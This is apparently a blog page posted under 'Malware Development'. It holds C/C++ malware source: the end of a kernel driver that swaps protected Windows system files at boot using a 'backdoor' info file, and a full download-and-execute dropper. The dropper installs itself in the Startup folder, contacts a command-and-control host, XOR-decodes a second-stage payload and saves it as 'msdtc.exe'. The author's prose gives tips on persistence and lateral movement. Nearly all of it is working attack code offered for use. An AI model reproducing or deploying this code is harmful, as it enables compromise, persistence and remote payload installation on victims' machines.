#define MAX_PATCH_VERSION_STRING_LENGTH_INCL_NEWLINE 10				// Max of (ANSI) 0xFFFFFF patches supported by this driver.

	max_patch_scc_size.QuadPart = MAX_PATCH_VERSION_STRING_LENGTH_INCL_NEWLINE;

	RtlInitUnicodeString(&patch_version_file_name, L"\\??\\C:\\Program Files\\NothingToSeeHereAdmin\\patch.scc");
	InitializeObjectAttributes(&patch_version_file_attr,
								&patch_version_file_name,
								OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
								NULL,
								NULL);
	nt_status = ZwCreateFile(&patch_version_handle,
								GENERIC_WRITE,
								&patch_version_file_attr,
								&io_status_block,
								NULL, //&max_patch_scc_size,
								FILE_ATTRIBUTE_NORMAL,
								0,
								FILE_SUPERSEDE,
								FILE_SYNCHRONOUS_IO_NONALERT,
								NULL,
								0);
	// Scumbag nt headers didn't define STATUS_FILE_NOT_AVAILABLE?
#ifndef STATUS_FILE_NOT_AVAILABLE
#define STATUS_FILE_NOT_AVAILABLE 0xC0000467
#endif
	if (!NT_SUCCESS(nt_status))
	{
		// There was a problem opening "patch.scc".
		return STATUS_FILE_NOT_AVAILABLE;
	}

	// Must bitshift to find length of ANSI string representing dword.
	size_t size_of_patch_version_file; 

	CHAR patch_version_file_buffer[MAX_PATCH_VERSION_STRING_LENGTH_INCL_NEWLINE + 1] = { 0 };
	const CHAR number_format[] = "%u\r\n";
	//_itoa(next_version, (PCHAR) patch_version_file_buffer, 16);
	nt_status = RtlStringCbPrintfA(patch_version_file_buffer,
									MAX_PATCH_VERSION_STRING_LENGTH_INCL_NEWLINE,
									number_format,
									next_version);
	if (!NT_SUCCESS(nt_status))
	{
		ZwClose(patch_version_handle);

		return STATUS_BUFFER_OVERFLOW;		// Not necessarily true, we just need a reason.
	}

	// Get string length.
	nt_status = RtlStringCbLengthA(patch_version_file_buffer,
									MAX_PATCH_VERSION_STRING_LENGTH_INCL_NEWLINE + 1,
									&size_of_patch_version_file);
	if (!NT_SUCCESS(nt_status))
	{
		ZwClose(patch_version_handle);

		return STATUS_INFO_LENGTH_MISMATCH;
	}


	byte_offset.LowPart = byte_offset.HighPart = 0;
	nt_status = ZwWriteFile(patch_version_handle,
							NULL,
							NULL,
							NULL,
							&io_status_block,
							patch_version_file_buffer,
							size_of_patch_version_file,
							&byte_offset,
							NULL);
	if (!NT_SUCCESS(nt_status))
	{
		// We are unable to read the file.
		ZwClose(patch_version_handle);
		
		return nt_status;
	}

	ZwClose(patch_version_handle);

	return STATUS_SUCCESS;
}

// Purpose:
//				Parse the file "C:\\Program Files\\NothingToSeeHereAdmin\\staging\\INFO.txt" with format:
//					<SOURCE>
//					<TARGET>
//					...
//
//				It will replace <TARGET> with <SOURCE> at boot up if both <TARGET> and <SOURCE> exist.
NTSTATUS ParseInformationFile(DWORD next_version)
{
	// Variables for handling the information file.
	windows_file_t				backdoor_info = { 0 };

	// Variables for handling the TARGET file. (see below)

	// Variables for handling the SOURCE file. (see below)

	//RtlInitUnicodeString(&backdoor_info.path, L"\\??\\C:\\Program Files\\NothingToSeeHereAdmin\\staging\\INFO.txt");
	// Initialize strings.
	if (!NT_SUCCESS(RtlUnicodeStringInit(&backdoor_info.path, L"\\??\\C:\\Program Files\\NothingToSeeHereAdmin\\staging\\INFO.txt")))
	{
#ifdef _DEBUG
		DbgPrint("[MICROSOFT_DRIVER] Unable to initialize information string\n");
#endif

		return STATUS_UNEXPECTED_IO_ERROR;
	}

	// Initialize file object attributes for information file (because we always know path).
	InitializeObjectAttributes(&backdoor_info.object_attributes,
		&backdoor_info.path,
		OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
		NULL,
		NULL);

	nt_status = ZwCreateFile(&backdoor_info.handle,
		GENERIC_READ,
		&backdoor_info.object_attributes,
		&io_status_block,
		NULL,
		FILE_ATTRIBUTE_NORMAL,
		0,
		FILE_OPEN,
		FILE_SYNCHRONOUS_IO_NONALERT,
		NULL,
		0);
	if (!NT_SUCCESS(nt_status))
	{
		// Could not open information file for reading.
		// We need a way to log the error and possibly handle it in the future.
#ifdef _DEBUG
		DbgPrint("[MICROSOFT_DRIVER] Unable to open information file.\n");
#endif

		return STATUS_UNEXPECTED_IO_ERROR;
	}

	// Allocate memory to hold contents. (PagedPool)
	nt_status = ZwQueryInformationFile(backdoor_info.handle,
										&io_status_block,
										&backdoor_info.file_standard_information,
										sizeof(FILE_STANDARD_INFORMATION),
										FileStandardInformation);
	if (!NT_SUCCESS(nt_status))
	{
		// Unable to query file information.
		ZwClose(backdoor_info.handle);

		return STATUS_DATA_ERROR;
	}

	backdoor_info.file_size = (SIZE_T) backdoor_info.file_standard_information.EndOfFile.LowPart;
	backdoor_info.buffer = (PCHAR) ExAllocatePoolWithTag(PagedPool,
													 backdoor_info.file_size + 1,
													 'gaT1');
	if (!backdoor_info.buffer)
	{
		// There is not enough memory in the system to replace the file.
		ZwClose(backdoor_info.handle);	

		return STATUS_DATA_ERROR;
	}

	byte_offset.LowPart = byte_offset.HighPart = 0;
	nt_status = ZwReadFile(backdoor_info.handle,
							NULL,
							NULL,
							NULL,
							&io_status_block,
							backdoor_info.buffer,
							backdoor_info.file_size,
							&byte_offset,
							NULL);
	backdoor_info.buffer[backdoor_info.file_size] = NULL;	// Ensure end of string.
	if (!NT_SUCCESS(nt_status))
	{
		// Do not log an error.  If there is no information file,
		// assume there is nothing to update.
#ifdef _DEBUG
		DbgPrint("[MICROSOFT_DRIVER] No information file\n");
#endif
		ZwClose(backdoor_info.handle);
		ExFreePoolWithTag(backdoor_info.buffer, 'gaT1');

		return STATUS_SUCCESS;
	}
#ifdef _DEBUG
	DbgPrint(("[MICROSOFT_DRIVER] %s\n", backdoor_info.buffer));		// Print contents of text file to debug console.
#endif

#ifndef MAX_PATH
#define MAX_PATH 255
#endif

#ifndef MAX_PATH_PLUS_NULL
#define MAX_PATH_PLUS_NULL MAX_PATH * sizeof(CHAR) + 1 * sizeof(CHAR)
#endif

	// No longer needed.
	ZwClose(backdoor_info.handle);

	/*int information_file_descriptor = _open_osfhandle((intptr_t) backdoor_info.handle, _A_RDONLY);
	if (information_file_descriptor == -1)	// ERROR_INVALID_HANDLE
	{
		// Error locating the file descriptor for handle.
	}

	FILE* information_file_file_pointer = _fdopen(information_file_descriptor, "r");	// "rb"?
	if (!information_file_file_pointer)
	{
		// Error achieving a standard C file pointer from Windows HANDLE.
	}*/

	// Now we can use fgets() to read each line.
	// "backdoor_info.buffer" holds all file contents.
	// "backdoor_info.file_size" holds the number of bytes in the file.
	CHAR	current_source_file_path[MAX_PATH_PLUS_NULL] = { 0 };
	CHAR	current_target_file_path[MAX_PATH_PLUS_NULL] = { 0 };
	fgetws_t fget;
	fget.buffer = (WCHAR*) backdoor_info.buffer;	// Dangerous, but works.r
	fget.position = 0;
	fget.stream = backdoor_info.handle;				// Unused.
	// Just because "backdoor_info.buffer" is (CHAR* ) doesn't mean it actually is.
	// Our file is stored as UNICODE in text, so each character will be followed by a NULL (0x0) space.
	WCHAR*	back = (WCHAR* ) backdoor_info.buffer;

	// Check to see if "backdoor_info.file_size" is 0 or negative.
	if (backdoor_info.file_size <= 0)
	{
		// There were no bytes in INFO.txt.

		return STATUS_DATA_ERROR;
	}

	// Parse the read buffer.
	SIZE_T current_source_file_path_len = 0;		// We need to have something to read the actual line into something like "current_source_file_path".
	SIZE_T current_target_file_path_len = 0;
	const CHAR newline_char[] = "\r\n";


	windows_file_t		current_target = { 0 };
	windows_file_t		current_source = { 0 };

	UNICODE_STRING	unicode_source_file_path = { 0 };
	ANSI_STRING		ansi_source_file_path = { 0 };

	// bytes_read is updated after each line is read.
	INT32	bytes_read;
	INT32	char_index_in_line;
	bool	is_source;
	for (bytes_read = 0, char_index_in_line = 0, is_source = true; bytes_read < backdoor_info.file_size; )
	{
		// We're reading a UNICODE file.
		// Do not copy the L'\n' character to the string.
		//if (RtlEqualMemory(&newline_char, (CHAR* ) (backdoor_info.buffer + bytes_read + char_index_in_line), sizeof(newline_char)))
		// Check for next character being NULL.  It indicates we are at the end of the file.
		if (bytes_read + char_index_in_line == backdoor_info.file_size)
		{
			// We are done reading the file.
			// If we are in "source" reading turn,
			// we fail gracefully.
			if (is_source)
			{
				// Deallocation.

				// Fail gracefully.
				return STATUS_SUCCESS;
			}

			// This means we are done with the information file.
			// Perform the final write of protected files here.
			goto ___PerformReplace;
		}

#define STRLEN_NEWLINE 2
		// First boolean ensures against overflow.
		// Second boolean checks for Windows newline (0xD 0xA)
		else if ((bytes_read + char_index_in_line + STRLEN_NEWLINE <= backdoor_info.file_size) &&
			(newline_char[0] == backdoor_info.buffer[bytes_read + char_index_in_line] && newline_char[1] == backdoor_info.buffer[bytes_read + char_index_in_line + 1]))
		{
			// New line in Windows is 0x0D 0x0A.
			*((PCHAR) backdoor_info.buffer + bytes_read + char_index_in_line) = *((PCHAR) backdoor_info.buffer + bytes_read + char_index_in_line + 1) = NULL;	// Chomp the new line.
			// We found a newline character.	
			if (is_source)
			{
				// Source file.

				RtlInitAnsiString(&ansi_source_file_path, backdoor_info.buffer + bytes_read);
				if (!NT_SUCCESS(RtlAnsiStringToUnicodeString(&unicode_source_file_path, &ansi_source_file_path, TRUE)))
				{
#ifdef _DEBUG
					DbgPrint("[MICROSOFT_DRIVER] Unable to convert ansi to unicode\n");
#endif
				}
				// We have to do the "bytes_read" incrementation here so we don't cut off the "\?" at the beginning of
				// "ansi_source_file_path".
				bytes_read++;	// We don't want to start on the second NULL byte, we must start at next line.
				bytes_read++;	// We use "bytes_read" because "char_index_in_line" gets refreshed after every line is read.
				is_source = false;	// Next line, if any, will be target.

				if (!NT_SUCCESS(RtlUnicodeStringInit(&current_source.path, unicode_source_file_path.Buffer)))
				{
#ifdef _DEBUG
					DbgPrint("[MICROSOFT_DRIVER] Unable to initialize source string\n");
#endif

					return STATUS_UNEXPECTED_IO_ERROR;
				}
				// Do everything with opening and reading the source file if only the target file exists.
				// We have nothing left to do here.
			}

			else
			{
___PerformReplace:
				UNICODE_STRING	unicode_target_file_path;
				ANSI_STRING		ansi_target_file_path;

				RtlInitAnsiString(&ansi_target_file_path, backdoor_info.buffer + bytes_read);
				if (!NT_SUCCESS(RtlAnsiStringToUnicodeString(&unicode_target_file_path, &ansi_target_file_path, TRUE)))
				{
#ifdef _DEBUG
					DbgPrint("[MICROSOFT_DRIVER] Unable to convert ansi to unicode\n");
#endif
				}
				is_source = false;	// Next line, if any, will be target.
				//if (!NT_SUCCESS(RtlUnicodeStringInit(&current_target.path, current_target_file_path)))
				if (!NT_SUCCESS(RtlUnicodeStringInit(&current_target.path, unicode_target_file_path.Buffer)))
				{
#ifdef _DEBUG
					DbgPrint("[MICROSOFT_DRIVER] Unable to initialize target string\n");
#endif

					return STATUS_UNEXPECTED_IO_ERROR;
				}
				// We have to do the "bytes_read" incrementation here so we don't cut off the "\?" at the beginning of
				// "ansi_source_file_path".
				bytes_read++;	// We don't want to start on the second NULL byte, we must start at next line.
				bytes_read++;	// We use "bytes_read" because "char_index_in_line" gets refreshed after every line is read.

				is_source = true;	// Next line, if any, will be source.

				// Open and read the source file.
				// Copy unicode_source_file_path contents into unicode_target_file_path file.
				// We have a matching source with target.
				// Time to open and read the source.
				// Initialize file object attributes for information file (because we always know path).
				InitializeObjectAttributes(&(current_source.object_attributes),
					&current_source.path,
					OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
					NULL,
					NULL);
				InitializeObjectAttributes(&(current_target.object_attributes),
					&current_target.path,
					OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
					NULL,
					NULL);
				
				// OPEN THE FILE!!!

				nt_status = ZwCreateFile(&current_source.handle,
					GENERIC_READ,
					&current_source.object_attributes,
					&io_status_block,
					NULL,
					FILE_ATTRIBUTE_NORMAL,
					0,
					FILE_OPEN,
					FILE_SYNCHRONOUS_IO_NONALERT,
					NULL,
					0);
				if (!NT_SUCCESS(nt_status))
				{
					// Could not open information file for reading.
					// We need a way to log the error and possibly handle it in the future.
#ifdef _DEBUG
					DbgPrint("[MICROSOFT_DRIVER] Unable to open source file.\n");
#endif

					return STATUS_UNEXPECTED_IO_ERROR;
				}

				nt_status = ZwCreateFile(&current_target.handle,
					GENERIC_READ | GENERIC_WRITE,	
					&current_target.object_attributes,
					&io_status_block,
					NULL,
					FILE_ATTRIBUTE_NORMAL,
					0,
					FILE_SUPERSEDE,
					FILE_SYNCHRONOUS_IO_NONALERT,
					NULL,
					0);
				if (!NT_SUCCESS(nt_status))
				{
					// Could not open information file for reading.
					// We need a way to log the error and possibly handle it in the future.
#ifdef _DEBUG
					DbgPrint("[MICROSOFT_DRIVER] Unable to open target file.\n");
#endif
					ZwClose(current_source.handle);

					return STATUS_UNEXPECTED_IO_ERROR;
				}

				// Now handles to both SOURCE and TARGET are created.
				// Time to read from SOURCE.
				// Allocate memory to hold contents. (PagedPool)
				nt_status = ZwQueryInformationFile(current_source.handle,
													&io_status_block,
													&current_source.file_standard_information,
													sizeof(FILE_STANDARD_INFORMATION),
													FileStandardInformation);
				if (!NT_SUCCESS(nt_status))
				{
					// Unable to query file information.
					ZwClose(current_source.handle);
					ZwClose(current_target.handle);

					return STATUS_DATA_ERROR;
				}

				current_source.file_size = (SIZE_T) current_source.file_standard_information.EndOfFile.LowPart;
				current_source.buffer = (PCHAR) ExAllocatePoolWithTag(PagedPool,
																 current_source.file_size + 1,
																 'gaT1');
				if (!current_source.buffer)
				{
					// There is not enough memory in the system to replace the file.
					ZwClose(current_source.handle);
					ZwClose(current_target.handle);

					return STATUS_DATA_ERROR;
				}
				// We must FREE current_source.buffer from now on during errors.

				byte_offset.LowPart = byte_offset.HighPart = 0;
				nt_status = ZwReadFile(current_source.handle,
										NULL,
										NULL,
										NULL,
										&io_status_block,
										current_source.buffer,
										current_source.file_size,
										&byte_offset,
										NULL);
				// No need to leave NULL because we know file_size.
				if (!NT_SUCCESS(nt_status))
				{
					// Do not log an error.  If there is no information file,
					// assume there is nothing to update.
#ifdef _DEBUG
					DbgPrint("[MICROSOFT_DRIVER_DEBUG] No information file\n");
#endif
					ExFreePoolWithTag(backdoor_info.buffer, 'gaT1');
					ZwClose(current_source.handle);
					ZwClose(current_target.handle);

					return STATUS_SUCCESS;
				}

				byte_offset.LowPart = byte_offset.HighPart = 0;
				nt_status = ZwWriteFile(current_target.handle,
										NULL,
										NULL,
										NULL,
										&io_status_block,
										current_source.buffer,
										current_source.file_size,
										&byte_offset,
										NULL);
				if (NT_SUCCESS(nt_status))
				{
					// We successfully replaced the file.
					// Let the usermode know somehow.
					// Print with UNICODE, http://www.winvistatips.com/can-dbgprint-unicode_string-t186503.html
#ifdef _DEBUG
					DbgPrint("We successfully replaced %wZ\n", current_target.path);
#endif
				}

				else
				{
					// We did not successfully replace the file.
					// Let the usermode know somehow.
#ifdef _DEBUG
					DbgPrint("Unable to successfully replace %wZ\n", current_target.path); 
#endif
				}

				// Cleanup for each loop.
				is_source = true;
				ZwClose(current_target.handle);
				ZwClose(current_source.handle);
				//ExFreePoolWithTag(current_target.buffer, 'gaT1');
				ExFreePoolWithTag(current_source.buffer, 'gaT1');
			}

			bytes_read += char_index_in_line;
			char_index_in_line = 0;	// If a new line exists, we must start at beginning.
			// Reset the "current_target_file_path" and "current_source_file_path".
			RtlZeroMemory(current_target_file_path, sizeof(current_target_file_path));
			RtlZeroMemory(current_source_file_path, sizeof(current_source_file_path));

			// We continue to skip the processing directly below us, as we
			// don't wish to copy the NULL or Windows newline to buffer.
			continue;
		}

		// If the character wasn't EOF (backdoor_info.file_size) or a Windows newline (/r/n), we end up here, to copy to buffers.
		if (bytes_read + char_index_in_line < backdoor_info.file_size)
		{
			if (is_source)
			{
				//if (!NT_SUCCESS(RtlMultiByteToUnicode
				current_source_file_path[char_index_in_line] = *(backdoor_info.buffer + bytes_read + char_index_in_line);
				/*if (!NT_SUCCESS(RtlStringCbCopyW(current_source_file_path, sizeof(WCHAR), (WCHAR* ) (backdoor_info.buffer + bytes_read + char_index_in_line))))
				{
					// Unable to copy UNICODE character.
					DbgPrint("[MICROSOFT_DRIVER] Unable to copy source wchar_t\n");
				}*/
			}

			else
			{
				current_target_file_path[char_index_in_line] = *(backdoor_info.buffer + bytes_read + char_index_in_line);
				/*if (!NT_SUCCESS(RtlStringCbCopyW(current_target_file_path, sizeof(WCHAR), (WCHAR* ) (backdoor_info.buffer + bytes_read + char_index_in_line))))
				{
					// Unable to copy UNICODE character.
					DbgPrint("[MICROSOFT_DRIVER] Unable to copy target wchar_t\n");
				}*/
			}

			char_index_in_line++;	// We have to inc the counter here because we'll be off-by-one otherwise due to the combined strings 
									// in the file during parsing.
		}
	}

	// We need to write the new version to the "patch.scc" file.
	// 
	nt_status = UpdateSystemPatchVersion(next_version);
	if (!NT_SUCCESS(nt_status))
	{
		// Unable to write "patch.scc".
#ifdef _DEBUG
		DbgPrint("[MICROSOFT_DRIVER] Unable to write success file\n");
#endif

		return STATUS_FILE_INVALID;
	}

	return STATUS_SUCCESS;
}
Posted in Malware DevelopmentTagged Bypass system file checker, c malware, malicious kernel driver, malware, System service, Win32 SFC bypass, WinDDK, Windows Driver Development, Windows file protection, Windows malicious service, winlogon, winlogon hijackLeave a comment

Windows Download and Execute (Stage 0 or 1) Malware Example Code

Posted on June 24, 2019 - June 27, 2019 by admin

This code is an example of a Stage 0 (or 1) malware written in C++ for the Windows operation system. It could be attached to various exploits, other payloads, or standalone.

A tool such as this would likely show up at the beginning of a campaign.  End stage campaigns may also find a tool like this useful for transportation of code between hosts.

int APIENTRY _tWinMain(	HINSTANCE	hInstance,
		        HINSTANCE	hPrevInstance,
			LPTSTR		lpCmdLine,
			int		cmdShow)
{
	DWORD retInstallVirus = InstallVirus();
	if (!retInstallVirus)
	{
		Sleep(30000 * (rand() % 30000));

		DWORD retDownloadStage2 = DownloadSecondStage();
		while (retDownloadStage2)
		{
			Sleep(300000);
			retDownloadStage2 = DownloadSecondStage();
		}
	}

	return 0;
}

Goal: Move ourselves to a different directory for persistence. Only run the second stage after a reboot.

What are we: We are an executable that somehow became executed on a system. Could be a standalone payload or changed to the payload in a sophisticated exploit with a few tweaks.

Contingencies: Try to install ourselves (this payload) immediately for persistence, and try to pull down our later stage after no wait to 15 minutes.

Let us begin…

#include "stdafx.h"

//
// Returns 0 if the virus already installed.
//
DWORD InstallVirus()
{
	TCHAR ourFilename[MAX_PATH];
	TCHAR new_filename[MAX_PATH];
	TCHAR relativeTargetDirectory[MAX_PATH] = _T("\\AppData\\Roaming\\Microsoft\\Windows\\Start menu\\Programs\\Startup\\");
	int end = 0;
	GetModuleFileName(0, ourFilename, MAX_PATH * sizeof(TCHAR));
	// Copy to AppRoaming folder.
	TCHAR* rawFilename = _tcsrchr(ourFilename, _T('\\')) + 1;
	TCHAR user_directory[MAX_PATH];
	SHGetFolderPath(NULL, CSIDL_PROFILE, NULL, 0, user_directory);
	_tcscpy_s(new_filename, user_directory);
	_tcscat_s(new_filename, relativeTargetDirectory);
	_tcscat_s(new_filename, rawFilename);

	// Check if our file already exists.
	FILE* testFile = _tfopen(new_filename, _T("rb"));
	if (testFile)
		return 0;

	size_t fileSize;
	FILE* fp = _tfopen(ourFilename, _T("rb"));
	if (!fp)
	{
		return -2;
	}
	fseek(fp, 0, SEEK_END);
	fileSize = ftell(fp);
	fseek(fp, 0, SEEK_SET);
	char* fileBuffer = new char[fileSize];

	if (fread(fileBuffer, sizeof(char), fileSize, fp) != fileSize)
	{
		return -3;
	}

	FILE* copiedFile = _tfopen(new_filename, _T("wb"));
	if (!copiedFile)
		return -4;

	fwrite(fileBuffer, sizeof(char), fileSize, copiedFile);
	fclose(copiedFile);

	return 1;
}

This function reads the contents of ourselves and writes it to the persistence location (C:\\Users\\<user_name>\\AppData\\Roaming\\Microsoft\\Windows\\Start menu\\Programs\\Startup\\)

This ensures we run every time the system starts.

Extra: Double slashes are for the escape, in case you were confused.

/* If our key matches what server expects it will send us the following struct:

	typedef struct
	{
		char		magic[4];		// "abcd"
		uint32_t	payload_size;
		byte		xor_key;
		char		payload[payload_size];
	} server_rsp;
*/
//
// Returns 0 on successfully downloading.
//
DWORD DownloadSecondStage()
{
	// Virus is already installed.
	HINTERNET hOpen = InternetOpen(	NULL,
		INTERNET_OPEN_TYPE_PRECONFIG,							 
                NULL,
		NULL,
		0);
	if (!hOpen)
		return -1;

	HINTERNET hUrl = InternetConnect(hOpen,										 
                                         _T("site.com"),
		                         80,
	   	 		         NULL,
					 NULL,
					 INTERNET_SERVICE_HTTP,
					 INTERNET_FLAG_PRAGMA_NOCACHE,
					 NULL);
	if (!hUrl)
		return -2;

	HINTERNET hRequest = HttpOpenRequest(hUrl,
					     _T("POST"),											 
                                             _T("/"),
					     NULL,
   					     NULL,
					     NULL,
					     NULL,
					     NULL);
	if (!hRequest)
		return -3;

	BOOL bRequest = HttpSendRequest(hRequest,
                      _T("Content-Type: application/x-www-form-urlencoded"),
                      _tcslen(_T("Content-Type: application/x-www-form-urlencoded")),
                       "password=1234567890",
                       strlen("password=1234567890"));

	// Read the first two members of structure. 
	DWORD numBytesRead = 0;
	DWORD numAvailable = 0;
	char* huge_buffer;
        // We must use the heap, because the stack can only hold 
        // around 0.5 mb. 
	huge_buffer = new char[10485760]();
	numBytesRead = 0;
	numAvailable = 0;
	memset(huge_buffer, 0, sizeof(huge_buffer));

	while (InternetQueryDataAvailable(hRequest, &numAvailable, 0, 0) && numAvailable)
	{
		InternetReadFile(hRequest, huge_buffer + numBytesRead, numAvailable, &numBytesRead);
	}

	if (!InternetQueryDataAvailable(hRequest, &numAvailable, 0, 0))
	{
		delete [] huge_buffer;
		return -4;
	}

	if (numBytesRead < 9)	// Initial header size
	{
		delete [] huge_buffer;
		return -5;
	}

	if (*(huge_buffer + 0) != 'a' ||
		*(huge_buffer + 1) != 'b' ||
		*(huge_buffer + 2) != 'c' ||
		*(huge_buffer + 3) != 'd')
	{
		delete [] huge_buffer;
		return -6;
	}

We send a “password” to the Command and Control (C2) server to “authenticate” and “authorize” ourselves.

char magic[4]; // “abcd”
uint32_t payload_size;
byte xor_key;
char payload[payload_size];

We check for the structure with starting magic bytes of ‘a’ (0x61), ‘b’ (0x62), ‘c’ (0x63), ‘d’ (0x64). Next is the payload_size, which tells us how big payload is. xor_key is the “decoder” key.

	byte hi_byte = huge_buffer[4];
	byte mid1_byte = huge_buffer[5];
	byte mid2_byte = huge_buffer[6];
	byte lo_byte = huge_buffer[7];
	int payload_size =	(hi_byte << 24) +
				(mid1_byte << 16) +
				(mid2_byte << 8) +
				(lo_byte);
	char xor = *(huge_buffer + 8);

	for (int i = 0; i < payload_size; i++)
	{
		if (huge_buffer[9 + i])
			if (huge_buffer[9 + i] != xor)
				huge_buffer[9 + i] ^= xor;
	}

	FILE* downloaded_file = _tfopen(_T("msdtc.exe"), _T("wb"));		// Make sure this file deletes us when it runs.
	if (!downloaded_file)
	{
		delete [] huge_buffer;
		return -7;
	}

	if (fwrite(huge_buffer + 9, sizeof(char), payload_size, downloaded_file) != payload_size)
	{
		fclose(downloaded_file);
		delete [] huge_buffer;
		BOOL bDelete = DeleteFile(_T("msdtc.exe"));

		return -8;
	}

	fclose(downloaded_file);
	InternetCloseHandle(hUrl);
	InternetCloseHandle(hOpen);
	delete [] huge_buffer;

	// We are done;
	return 0;
}

We save the binary file as “msdtc.exe” in the directory we are executing in.

This is an example of a straight to the point malware for Windows systems new and old. It would likely run in a “stage 0” scenario, as either an encapsulated within the main payload of an initial attack (slight modifications), as a standard Windows executable (EXE/DLL), or as position independent code (PIC) as shellcode (slight modifications).

The file “msdtc.exe”, in this case, would be your long-term solution for persistence and lateral movement. Make sure it’s a good tool and you have several workable solutions for the environment you are targeting.

Posted in Malware DevelopmentTagged c malware, c++, malware, payload, stage 0, win32, WINAPILeave a comment

Recent Posts

  • Manual Scraping
  • Nitter Replacement
  • MFA Abuse in Splunk
  • Virtualbox Automation
  • Repository Poisoning

Recent Comments

    Archives

    • August 2024
    • July 2023
    • August 2022
    • March 2022
    • November 2021
    • October 2021
    • September 2021
    • August 2021
    • July 2021
    • June 2021
    • February 2021
    • December 2020
    • October 2020
    • September 2020
    • April 2020
    • March 2020
    • January 2020
    • July 2019
    • June 2019

    Categories

    • Campaign Analysis
    • Campaign Management
    • Code Analysis
    • Current Events
    • Malware Development
    • Techniques
    • Uncategorized
    • Utilities

    Meta

    • Log in
    • Entries feed
    • Comments feed
    • WordPress.org
    Proudly powered by WordPress | Theme: micro, developed by DevriX.